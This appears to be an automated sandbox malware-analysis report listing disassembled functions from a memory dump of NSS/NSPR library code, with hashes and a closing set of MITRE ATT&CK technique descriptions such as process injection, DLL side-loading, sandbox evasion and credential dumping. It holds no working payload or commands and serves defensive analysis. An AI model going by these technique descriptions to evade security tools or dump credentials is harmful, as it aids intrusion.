Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

ESCAPE expression must be a single character, xrefs: 6C649F78
LIKE or GLOB pattern too complex, xrefs: 6C64A006

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

